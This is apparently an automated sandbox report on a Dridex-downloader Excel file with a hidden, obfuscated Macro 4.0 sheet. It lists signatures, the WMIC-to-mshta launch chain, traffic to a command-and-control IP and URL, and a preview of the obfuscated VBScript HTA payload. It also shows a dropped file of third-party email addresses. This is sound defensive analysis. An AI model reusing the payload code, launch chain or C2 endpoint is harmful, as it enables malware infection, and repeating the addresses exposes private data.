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Windows Analysis Report 474556085436219490680.xlsb

Overview

General Information

Sample Name:	474556085436219490680.xlsb
Analysis ID:	528398
MD5:	75c325deec0cae07e089f47028c4e444
SHA1:	ff3d0672ff1a95212063a42779538c1896d3b77c
SHA256:	f4e3013be0615f60a3a6f6d3d3b26aa5239fe270e404dd465e1b99c2b594b4f8
Tags:	xlsbxlsx
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Dridex Downloader

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Dridex Downloader

Creates and opens a fake document (probably a fake document to hide exploiting)

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Creates processes via WMI

Document exploit detected (UrlDownloadToFile)

Found protected and hidden Excel 4.0 Macro sheet

Contains functionality to create processes via WMI

Found obfuscated Excel 4.0 Macro

Queries the volume information (name, serial number etc) of a device

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Yara detected Xls With Macro 4.0

Detected TCP or UDP traffic on non-standard ports

Sigma detected: Suspicious WMI Execution

Creates a window with clipboard capturing capabilities

Potential document exploit detected (performs HTTP gets)

IP address seen in connection with other malware

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1528 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

WMIC.exe (PID: 2908 cmdline: wmic process call create "mshta C:\ProgramData\UXcqTE.rtf" MD5: FD902835DEAEF4091799287736F3A028)

mshta.exe (PID: 1908 cmdline: mshta C:\ProgramData\UXcqTE.rtf MD5: 95828D670CFD3B16EE188168E083C3C5)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
app.xml	JoeSecurity_XlsWithMacro4	Yara detected Xls With Macro 4.0	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\UXcqTE.rtf	JoeSecurity_DridexDownloader	Yara detected Dridex Downloader	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: wmic process call create "mshta C:\ProgramData\UXcqTE.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\UXcqTE.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1528, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\UXcqTE.rtf", ProcessId: 2908

Sigma detected: Suspicious WMI Execution

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, juju4, oscd.community: Data: Command: wmic process call create "mshta C:\ProgramData\UXcqTE.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\UXcqTE.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1528, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\UXcqTE.rtf", ProcessId: 2908

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\wbem\WMIC.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 132.148.135.183:8080

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 132.148.135.183:8080

Source: global traffic

HTTP traffic detected: GET /Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 132.148.135.183:8080Connection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 132.148.135.183:8080

Source: Joe Sandbox View

IP Address: 132.148.135.183 132.148.135.183

Source: unknown	TCP traffic detected without corresponding DNS query: 132.148.135.183
Source: unknown	TCP traffic detected without corresponding DNS query: 132.148.135.183
Source: unknown	TCP traffic detected without corresponding DNS query: 132.148.135.183
Source: unknown	TCP traffic detected without corresponding DNS query: 132.148.135.183
Source: unknown	TCP traffic detected without corresponding DNS query: 132.148.135.183

Source: mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: mshta.exe, 00000005.00000002.662497094.00000000033F7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: mshta.exe, 00000005.00000002.662497094.00000000033F7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: mshta.exe, 00000005.00000002.662658190.00000000035F0000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: WMIC.exe, 00000002.00000002.443569869.0000000001B70000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: mshta.exe, 00000005.00000002.662497094.00000000033F7000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: mshta.exe, 00000005.00000002.662497094.00000000033F7000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: mshta.exe, 00000005.00000002.662658190.00000000035F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: mshta.exe, 00000005.00000002.662497094.00000000033F7000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8150A08C.png

Jump to behavior

Source: global traffic

Source: C:\Windows\System32\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

E-Banking Fraud:

Yara detected Dridex Downloader

Show sources

Source: Yara match

File source: C:\ProgramData\UXcqTE.rtf, type: DROPPED

System Summary:

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: 474556085436219490680.xlsb

Initial sample: EXEC

Found protected and hidden Excel 4.0 Macro sheet

Show sources

Source: 474556085436219490680.xlsb

Initial sample: Sheet name: Macro1

Contains functionality to create processes via WMI

Show sources

Source: WMIC.exe, 00000002.00000002.443478569.0000000000230000.00000004.00000020.sdmp

Binary or memory string: C:\Users\user\Documents\C:\Windows\System32\Wbem;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\C:\Windows\System32\Wbem\wmic.exewmic process call create "mshta C:\ProgramData\UXcqTE.rtf"C:\Windows\System32\Wbem\wmic.exeWinSta0\Default

Found obfuscated Excel 4.0 Macro

Show sources

Source: 474556085436219490680.xlsb

Macro extractor: Sheet: Macro1 high usage of CHAR() function: 60

Source: 474556085436219490680.xlsb

Macro extractor: Sheet name: Macro1

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\UXcqTE.rtf"
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta C:\ProgramData\UXcqTE.rtf
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\UXcqTE.rtf"

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Source: mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$474556085436219490680.xlsb

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRCAFB.tmp

Jump to behavior

Source: classification engine

Classification label: mal84.troj.expl.evad.winXLSB@4/7@0/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 474556085436219490680.xlsb	Initial sample: OLE zip file path = xl/media/image2.png
Source: 474556085436219490680.xlsb	Initial sample: OLE zip file path = xl/media/image1.png
Source: 474556085436219490680.xlsb	Initial sample: OLE zip file path = docProps/custom.xml
Source: 2D67.tmp.0.dr	Initial sample: OLE zip file path = xl/media/image1.png
Source: 2D67.tmp.0.dr	Initial sample: OLE zip file path = xl/media/image2.png

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Persistence and Installation Behavior:

Creates processes via WMI

Show sources

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Hooking and other Techniques for Hiding and Protection:

Creates and opens a fake document (probably a fake document to hide exploiting)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: cmd line: uxcqte.rtf
Source: unknown	Process created: cmd line: uxcqte.rtf

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\wbem\WMIC.exe TID: 1996	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 2528	Thread sleep time: -60000s >= -30000s

Source: Yara match

File source: app.xml, type: SAMPLE

Source: mshta.exe, 00000005.00000002.662041488.0000000000B50000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mshta.exe, 00000005.00000002.662041488.0000000000B50000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: mshta.exe, 00000005.00000002.662041488.0000000000B50000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	Path Interception	Process Injection2	Masquerading1	OS Credential Dumping	Virtualization/Sandbox Evasion1	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Non-Standard Port1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting3	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Clipboard Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution32	Logon Script (Windows)	Logon Script (Windows)	Process Injection2	Security Account Manager	File and Directory Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting3	NTDS	System Information Discovery15	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol11	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.%s.comPA	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	mshta.exe, 00000005.00000002.662497094.00000000033F7000.00000002.00020000.sdmp	false		high
http://www.windows.com/pctv.	mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp	false		high
http://investor.msn.com	mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp	false		high
http://www.%s.comPA	mshta.exe, 00000005.00000002.662658190.00000000035F0000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://www.icra.org/vocabulary/.	mshta.exe, 00000005.00000002.662497094.00000000033F7000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	mshta.exe, 00000005.00000002.662658190.00000000035F0000.00000002.00020000.sdmp	false		high
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	mshta.exe, 00000005.00000002.662497094.00000000033F7000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp	false		high
http://servername/isapibackend.dll	WMIC.exe, 00000002.00000002.443569869.0000000001B70000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low
http://investor.msn.com/	mshta.exe, 00000005.00000002.662350244.0000000003210000.00000002.00020000.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
132.148.135.183	unknown	United States		398101	GO-DADDY-COM-LLCUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	528398
Start date:	25.11.2021
Start time:	08:21:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	474556085436219490680.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.expl.evad.winXLSB@4/7@0/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active AutoShape Object Active Picture Object Active Picture Object Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/528398/sample/474556085436219490680.xlsb

Simulations

Behavior and APIs

Time	Type	Description
08:22:35	API Interceptor	11x Sleep call for process: WMIC.exe modified
08:22:36	API Interceptor	449x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
132.148.135.183	salecode12610151.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	salecode12610151.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	payment8642156.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	payment8642156.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	Netflix coupon040693525.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	Netflix coupon040693525.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	request-377185.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	Offer-04563360.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	vote0882037.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	vote0882037.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	subscription-673890410.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	subscription-673890410.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	tax payment52023.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	tax payment52023.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	Offer 39052.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	payment_646921.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	payment_646921.xlsb	Get hash	malicious	Browse	132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GO-DADDY-COM-LLCUS	Akiru.arm7	Get hash	malicious	Browse	192.186.196.248
	KRg7F8O7Qd	Get hash	malicious	Browse	209.126.105.220
	Racun je u prilogu.exe	Get hash	malicious	Browse	148.72.144.175
	xDG1WDcI0o.exe	Get hash	malicious	Browse	173.201.185.205
	salecode12610151.xlsb	Get hash	malicious	Browse	132.148.135.183
	salecode12610151.xlsb	Get hash	malicious	Browse	132.148.135.183
	RFQ_PO-330758290144.xlsx	Get hash	malicious	Browse	166.62.110.60
	payment8642156.xlsb	Get hash	malicious	Browse	132.148.135.183
	payment8642156.xlsb	Get hash	malicious	Browse	132.148.135.183
	Netflix coupon040693525.xlsb	Get hash	malicious	Browse	132.148.135.183
	Netflix coupon040693525.xlsb	Get hash	malicious	Browse	132.148.135.183
	request-377185.xlsb	Get hash	malicious	Browse	132.148.135.183
	Offer-04563360.xlsb	Get hash	malicious	Browse	132.148.135.183
	vote0882037.xlsb	Get hash	malicious	Browse	132.148.135.183
	vote0882037.xlsb	Get hash	malicious	Browse	132.148.135.183
	subscription-673890410.xlsb	Get hash	malicious	Browse	132.148.135.183
	subscription-673890410.xlsb	Get hash	malicious	Browse	132.148.135.183
	tax payment52023.xlsb	Get hash	malicious	Browse	132.148.135.183
	tax payment52023.xlsb	Get hash	malicious	Browse	132.148.135.183
	Offer 39052.xlsb	Get hash	malicious	Browse	132.148.135.183

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\UXcqTE.rtf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	4694
Entropy (8bit):	5.080967194560479
Encrypted:	false
SSDEEP:	96:xJHn1r5l3yol4WgWZDn5undZMPd7U0uSz9DjkCJ3JvV6tXrR3KEZOZ+:xBn1r5l3youW755udZoln3Jw931
MD5:	EA40DFDCBBD4D89CA3FAB7F4F79D988E
SHA1:	0EC52774FA266AD6CDDBA5BF6B4C80FC3384F995
SHA-256:	BAA9B556F6519D15CBF2E30150F293BFAC9AEB5FC7704447E0395ABE785A9748
SHA-512:	E3C62B36F013E73EC30DFA35952A40D3C412C747B6C8E88B2BFA00BAFBFB413B5D597F8D040A534C36B68F2BF8E6E6C519BB2ECCB1BAF3A67FE427B1C84B67F2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DridexDownloader, Description: Yara detected Dridex Downloader, Source: C:\ProgramData\UXcqTE.rtf, Author: Joe Security
Reputation:	low
Preview:	<!DOCTYPE html>..<html>..<head>..<HTA:APPLICATION ID="CS"..APPLICATIONNAME="ttrgnkrtegjtjgjerg"..WINDOWSTATE="minimize"..MAXIMIZEBUTTON="no"..MINIMIZEBUTTON="no"..CAPTION="no"..SHOWINTASKBAR="no">..<script type="text/vbscript" LANGUAGE="VBScript" >..N_U_R_p_d_S_h_V_f = "run" & Chr(100+1-1) & "" & Chr(108+1-1) & "l3" & Chr(50+1-1) & ".ex" & "e " & "C:" & "\\P" & "rog" & "ram" & Chr(68+1-1) & "" & Chr(97+1-1) & "ta\" & Chr(116+1-1) & "nig" & Chr(103+1-1) & Chr(101+1-1) & "r.b" & Chr(105+1-1) & "" & "n " & "Dll" & Chr(82+1-1) & "eg" & "ist" & Chr(101+1-1) & Chr(114+1-1) & "" & "Ser" & "ver" & ""..Set L_h_G_Q_C_R_g_R_q_I_E_s = CreateObject("MSX" & Chr(77+1-1) & "L2" & ".S" & "er" & "" & "ver" & Chr(88+1-1) & "ML" & Chr(72+1-1) & "TTP" & "" & ".6" & "" & ".0")....m_w_Y_i_z_k_I_R_N_n_J_x_w = "" & "Wsc" & "" & "" & "rip" & "t.S" & Chr(104+1-1) & "ell"..Set l_o_U_g_F_D_H_S_g_h_J_R_f_d_q_x = CreateObject(m_w_Y_i_z_k_I_R_N_n_J_x_w)..B_y_u_C_D_k_S_O_B_Y_k_R_d = LCase(l_o_U_g_F_D_H_S_g_h_J_R_f_d_q

C:\ProgramData\VNsYnsilCvEhxr.txt Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.395343325807578
Encrypted:	false
SSDEEP:	3:YIWHlR7x2WKOMK/dIpSP5dIHglelGZ1MlK5LHUEYyKIp4KLOlGA51yKzn:YIWpBIpo66eNQVHUEYM1LOlGKwKz
MD5:	C0CA596192996F86E50EF9DE87452388
SHA1:	B7EE1816DC0217AD5FBEBABDA43784ECA52D0C61
SHA-256:	D98542A461B36FB3DB91DC89D698FE170A47E4DD562E70E51406B12BDBE05686
SHA-512:	909459A2236296F4EBD1E54F04C8AE09F6DF4F4EEC991D463547EA813F49A4881AC3022D9282CDB2DF6FB7A2FFA8A35AB1FF16ABA283714FB0F2F509E72CE56F
Malicious:	false
Reputation:	low
Preview:	{"mhall@themovingsolution.com","dave@mrilakecounty.com","shaileshw@clearchannelindia.com","lynsey@accsols.com","officemanager@cutaboveland.com"}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG[1].txt Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	144
Entropy (8bit):	4.395343325807578
Encrypted:	false
SSDEEP:	3:YIWHlR7x2WKOMK/dIpSP5dIHglelGZ1MlK5LHUEYyKIp4KLOlGA51yKzn:YIWpBIpo66eNQVHUEYM1LOlGKwKz
MD5:	C0CA596192996F86E50EF9DE87452388
